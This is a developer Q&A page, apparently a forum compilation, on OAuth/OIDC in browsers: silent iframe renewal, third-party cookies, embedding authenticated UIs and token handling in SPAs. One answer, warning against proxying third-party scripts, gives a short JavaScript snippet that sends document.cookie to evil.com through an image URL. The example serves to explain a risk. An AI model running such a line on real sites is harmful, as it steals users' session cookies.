I've read that the silent authentication is typically made in a 1px iFrame. What I've been wondering is how the response to the authentication request is passed back from the iFrame to the parent application. Only option i can think of is that the Auth-Server returns some javascript code that runs e.g.
window.top.postMessage('auth', 'thisisthetoken')
But that approach seems a little sloppy to me. So how does it work?
That is the traditional flow for token renewal in Single Page Apps. The initial authentication should be done on a main browser window via a redirect, eg as for Google Sign In or Office 365.
TOKEN RENEWAL LIBRARY USAGE
The oidc client library is commonly used to implement this, enabling the iframe post to be done with very little code.
IFRAME MECHANICS
The main window triggers an OpenID Connect redirect on a hidden iframe. When a response is received, the iframe uses the postMessage API to return an OpenID Connect response to the main window, containing code and state parameters. The main window then exchanges the code for tokens, using a PKCE code verifier that it saved to session storage before triggering the iframe redirect.
BROWSER SUPPORT FOR THIRD PARTY COOKIES
The above flow relies on the Authorization Server's SSO Cookie being sent in the iframe request, but browsers are starting to drop third party cookies to limit tracking - Safari already does this.
Therefore it is now standard to instead manage renewal via a secure cookie issued for the site of the web origin, and to avoid iframe post solutions.
Projects that rely on third party cookies these days will struggle - see this recent answer of mine.
HOSTING PREREQUISITES
In 2021 you are best to use secure SameSite cookies in the browser, since posting tokens between frames is vulnerable to Cross Site Scripting. Ensuring that the web origin of each frame can share a secure cookie via a child / sibling domain is therefore a prerequisite - you cannot really develop a secure web solution these days without it.
Security in the browser is a tricky topic and needs an architectural design - for more info on 2021 web security recommendations, take a look at recent Curity Web Guidance.
WITH TOKENS ONLY
This will work buy is considered very poor security in 2021:
Redirect the whole window to authenticate the user (good)
Save tokens to local storage (bad) - to deal with page reloads - easily exploited by malicious code
Then post tokens between iframes (bad) - can be intercepted by malicious code that adds a listener
Related
We have a requirement to load an internally hosted angular UI from within an external partners secured website. We're using an OIDC auth flow calling to an internal IDP server to retrieve/validate the user tokens.
The problem is we are not able to make custom modifications to the internal IDP server's rules in order to allow the external partners domain as being valid for calling to from within an iframe (Content Security Policy).
This causes us to get an error related to invalid Content Security Policy as the external partners domain is not within the allowed domains list of the CSP. If we serve this UI in an iframe from within an internal company domain (allowed in the CSP) it works just fine.
Assuming we have to load our internal UI from within the partners website inline (iframe or other), and authenticate our users using an oauth pattern are there any viable solutions for this problem?
I understand the CSP and x-frame-option headers are set this way to avoid click-jacking security risks, so not sure what is being asked of us is possible while remaining secure. Initial thought is to possibly put a proxy service between the partners website and our UI and the proxy service will handle the authentication...bypassing the CSP rules...but does not necessarily seem secure, and not sure how to implement that even if so. Any thoughts or ideas would be welcomed. Thanks!
Proxying third-party scripts is a bad idea. Consider the script:
var Img = document.createElement("img");
Img.setAttribute('src', 'http://evil.com?cookie=' + document.cookie);
document.body.appendChild(Img);
Loaded from someone else's domain, the script will not have access to the document.cookie. But after proxying, the browser counts that the script is loaded from your domain, and will send cookies to the evil.com site.
Allowing your site to be embedded into iframe open doors to:
clickjacking: by placing an invisible frame, it allows you to perform actions on behalf of a visitor if he is logged at third-party site.
Phishing: in the case of an iframe, the user does not see the real URL in the address bar. Therefore, an attacker can load an iframe from his domain that looks like a third-party authorization site. Since visitor is not able to see this, he enter login/password at the attackers site.
third-party scripts access to some sensitive user's data such as: geolocation, camera, microphone, speaker, mobile device sensors (accelerometer, gyroscope, ambient-light-sensor, magnetometer, vibrate) etc. See Feature Policy / Permissions Policy how to restrict these.
For using your IDP server for autentificating user on third-party site, you MUST do redirect to your domain, autentificate user on your domainm and redirect user back to the third-party site. To keep auth a JWT token can be used or third-party site can set its own auth cookie. The referrer is used to return back to the partner's page where auth was started. Google's OAuth2 service works in this way.
It is not known what private/financial data your web application is dealing with, but it is unlikely that you want to be responsible for the actions of third parties by making a hole in the security system for them.
Let's say I have a SPA with a back-end on the same domain. If I had to connect to an external OAuth provider (let's say Google), the Authorization Code Flow (without PKCE) is the safer option. This means that:
The SPA requests a code to the Authorization Server
Then, it sends that code to the back-end
The back-end exchanges the code (and a secret) with the AS in order to get the tokens
The back-end sets a Session Cookie with the SPA to keep the user logged in
This flow is the most secure because the SPA never sees a single token. It doesn't use them. If I have to make a request to the API with the Access Token, the SPA will make a request to the back-end which in turn will use the Access Token to get the resources. And the back-end is also responsible for using the Refresh Token. So far so good.
Now, what if the back-end, upon successful exchange (once it gets the tokens), sends the tokens back to the browser? That way, the client can hit the API's endpoints on its own.
In theory, this should be avoided if I'm not mistaken. Giving the tokens back to the front-end kinda defeats the purpose of the Authorization Code Grant, you might as well use the Authorization Code w/ PKCE in order to get the tokens on the front-end directly, right? With the Code Grant, it's the back-end that gets authenticated, not the SPA.
But I'm thinking: that's what Firebase does, isn't it? As far as I know, Firebase uses the Authorization Code (without PKCE), redirects to the Firebase App's back-end (__auth/handler) and then it still gives the tokens to the front-end (id token, access token, refresh token).
Am I missing something? Or is it ok to give the tokens to the front-end at the end of the Authorization Code Grant?
PS. Obviously, in the Firebase case, the back-end will not actually use those tokens, it relies on the browser ones that are sent in each request I imagine. In the case I mentioned though, the back-end stores those tokens so in theory I'll have 2 sets of tokens: the ones that the back-end received with the code exchange, and the ones that get sent to the browser (initially they're the same, but they're different after the first refresh). Should the back-end discard the tokens completely and rely on the browser ones? I assume it should, because if Refresh Token Rotation is enabled, the back-end would have an invalidated Refresh Token after the first refresh by the browser. This situation is driving me nuts. My opinion is that the tokens should remain on the back-end, but I'm trying to figure out how can the Firebase approach be safe.
Interesting isn't it? There are trade offs involved, and different technologies make different choices on how to use tokens.
SHORT ANSWER
If is not inherently unsafe to use access tokens in the browser. It is generally recommended to keep the tokens short lived, confidential and to store them only in memory.
Whether to use tokens like this may also depend on the data sensitivity and the opinions of your stakeholders.
BIG PICTURE
What we'd really like is for these two technologies to work in an equivalent technical way. After all, both typically need to do the same job, of calling APIs to access data and then presenting screens to users.
Web UIs
Mobile UIs
It is totally standard to use access tokens in a Mobile UI, but some people have concerns about doing so in a Web UI.
WEB UIs
One option is to keep tokens out of the browser and use a 'web back end', as you describe. Many people prefer this from a security viewpoint, but it has these downsides compared to a pure SPA architecture:
You have to double hop all calls to APIs via the web back end, which is less efficient
The need for a web back end that runs code to issue auth cookies can result in suboptimal hosting, where you are unable to deploy web resources using a Content Delivery Network
There are other complexities due to the two forms of back end credential: cookies for web and tokens for mobile
PROOF OF POSSESSION TOKENS IN 2021?
Hopefully these are not far away for public clients - where DPoP tokens can be sent between Web UIs and APIs. This will mean access tokens stolen from a browser cannot be replayed and will further reduce the need for web back ends:
DPoP Proposed Standard
BROWSER THREATS
Of course there is more to browser security than cookies v tokens, and security is about covering risks. It is worth thinking about threats that concern you and how to mitigate them - this blog post has some notes on how I reasoned this out for an online code sample of mine a while back:
Browser Threat Model
I have an app on foo.com which has an iframe that loads another application from bar.com. The bar.com webapp relies on maintaining session with a session cookie which it issues on the response to the first request to bar.com. ITP at some point decides it's no longer going to send the bar.com session cookie on requests to bar.com in that iframe... and the bar.com webapp goes fubar.
The arrangement works fine if I disable "prevent cross-site tracking" in Safari. And it works fine in any other browser.
I think ITP is deciding that the cookie being loaded in the iframe is a third-party context. And although the user directly interacts with the webapp presented in the iframe (clicks, drags, etc), ITP does not register that as first-party interaction.
That's all mighty unfortunate and I'm not finding a way to work around it. Any suggestions? There are no ads or ad-tracking involved here.
If you feel there is a bug in the way ITP is handling your web app, you should file a Radar so we can investigate.
As it stands, unless your app is embedded on a number of other sites, it’s unlikely it would have been flagged as a tracker.
Can you give details about your application, and where it might be used so we can investigate?
I'm an ASP.NET MVC developer and I recently started to learn AngularJS as it seems like a more modern technology.
However, there's a few complications in my mind when it comes to authentication and authorization in AngularJS. In particular, AngularJS with ASP.NET Web API as the backend.
After authentication and getting the token from the api, I would imagine using Angularjs to store the token in the cookie. So any further requests will include the token. Say for some reason, the token expires, the next angularjs request to the api will fail with unauthorized. However, on the client side, angular thinks that it's authenticated (cookies) and will keep using that invalid token on all requests. I can think of a solution, which is to check for the "unauthorized" response on every request and redirect to login if that's the case. But I would probably be shot for such a practice.
In ASP.NET MVC, protecting a certain page/resource is as simple as adding [Authorize]. But in angular, it seems to be very complicated. How do I many protect many pages againsted the unauthenticated? Do I have to setup and interceptor for every route, etc?
Same goes for Authorization, what if the authenticated user attempts to access, say, the admin panel or parts of admin panel. How do I redirect to unauthorized page if they accessed by direct URL.
There can be many ways of solving your dilemma, but let me give you some tips that I generally use to authenticate and authorize.
Your app has to authenticate with the API (regardless of .NET or otherwise), which may happen by a login request that sets a cookie (during a server redirect), or perhaps a login endpoint the returns a token (like using oAuth). Either way, you have to store the authorization token so Angular can access it. I use cookies or localStorage myself. Then when a user is authenticated, I have a user service store that so I can use it anywhere in the app.
Once this happens, you can use a request http interceptors to attach the authorization header to your request. You can also use a response error interceptor to catch when the token no longer is accepted (usually a 401 status code, easy to check for), and force a login again. This should address issue #1 you raise.
Then for issue #2 and #3, if you are using uiRouter, you can listen for state change events (particularly $stateChangeStart). If I have an admin page, I'll name it admin.whatever and then have a change event that checks if the state has admin or not, and redirect users who are not admins. Likewise, I can do the same for all states to detect if there is no currently logged in user and force a login redirect.
Hope that gives you some ideas, it sounds like you're on the right track but need to hook into the Angular features.
This isn't really an answer but I'm in the same boat as you. I've built some basic Angular pages and small SPA app but now I'm trying to tie it all into an MVC app using .Net Identity. Surprisingly there isn't much out there about this topic. I did come across an good example but it was with .Net Core and MVC 6 which I'm not ready to jump into yet. It's worth watching and might give you some ideas.
http://stephenwalther.com/archive/2015/01/29/asp-net-5-and-angularjs-part-6-security
A couple days ago I came across this video and for the most part it seems to address the issue. It's the only thing that I've found so far with MVC 5, Angular and some .Net Authorization. Take a look and see if it gives you any ideas. I haven't had a chance to implement it yet but I'm hoping to get started doing that in the next couple of days. If you learn or find anything post it here.
https://www.youtube.com/watch?v=f67PFtrldGQ&nohtml5=False
First of all, for the lack of words, I used "normal web page" on the title. Please let me explain that:
Recently, I have seen many websites such as shopify.com making the most out of the modern browsers support for html5 push-state and Ajax. Instead of submitting forms, requesting new pages I see them doing all that via their REST APIs. It seems to me like a very neat way to do things because it's faster (less page reload), and also allow greatly allows us to re-use the API code.
In these scenarios, the users access the service via the websites as they would normally do, however their interaction with the resources are powered by the REST APIs.
As I dive more into the documents, it seems like these API requests should be stateless yet should always have a mechanism to authorize/authenticate each request so I looked into OAuth2 for that purpose (Since I will need OAuth2 anyhow, to grant accesses to 3rd parties). Now, since in this particular circumstance the user's browser will act as the client to request the resources via REST, I want to know what is the recommended flow to do it.
Right now I plan to implement it as followed: (I'm using Symfony 2 with FOSRestBundle and FOSAuthServerBundle)
User should login via the web form as normal (Since we need to authenticate/authorize both for the normal web page as well as for the API Requests)
When the user logged in, immediately check if an OAuth client is already created for this user? If not then create it with GRANT_TYPE_IMPLICIT. If the client is already there, just retrieve it.
Proceed to normal OAuth authorize for Rest requests?
Edit 1:
Further research makes me think that I should not send back the refresh token to the JS app as this would be too dangerous if the browser is compromised. Perhaps I could store the refresh token for the user somewhere in the server backend once he/she is logged in, then can reserve a special link for the JS app to request for new access token when old one expires? This seems a bit messy to me tho.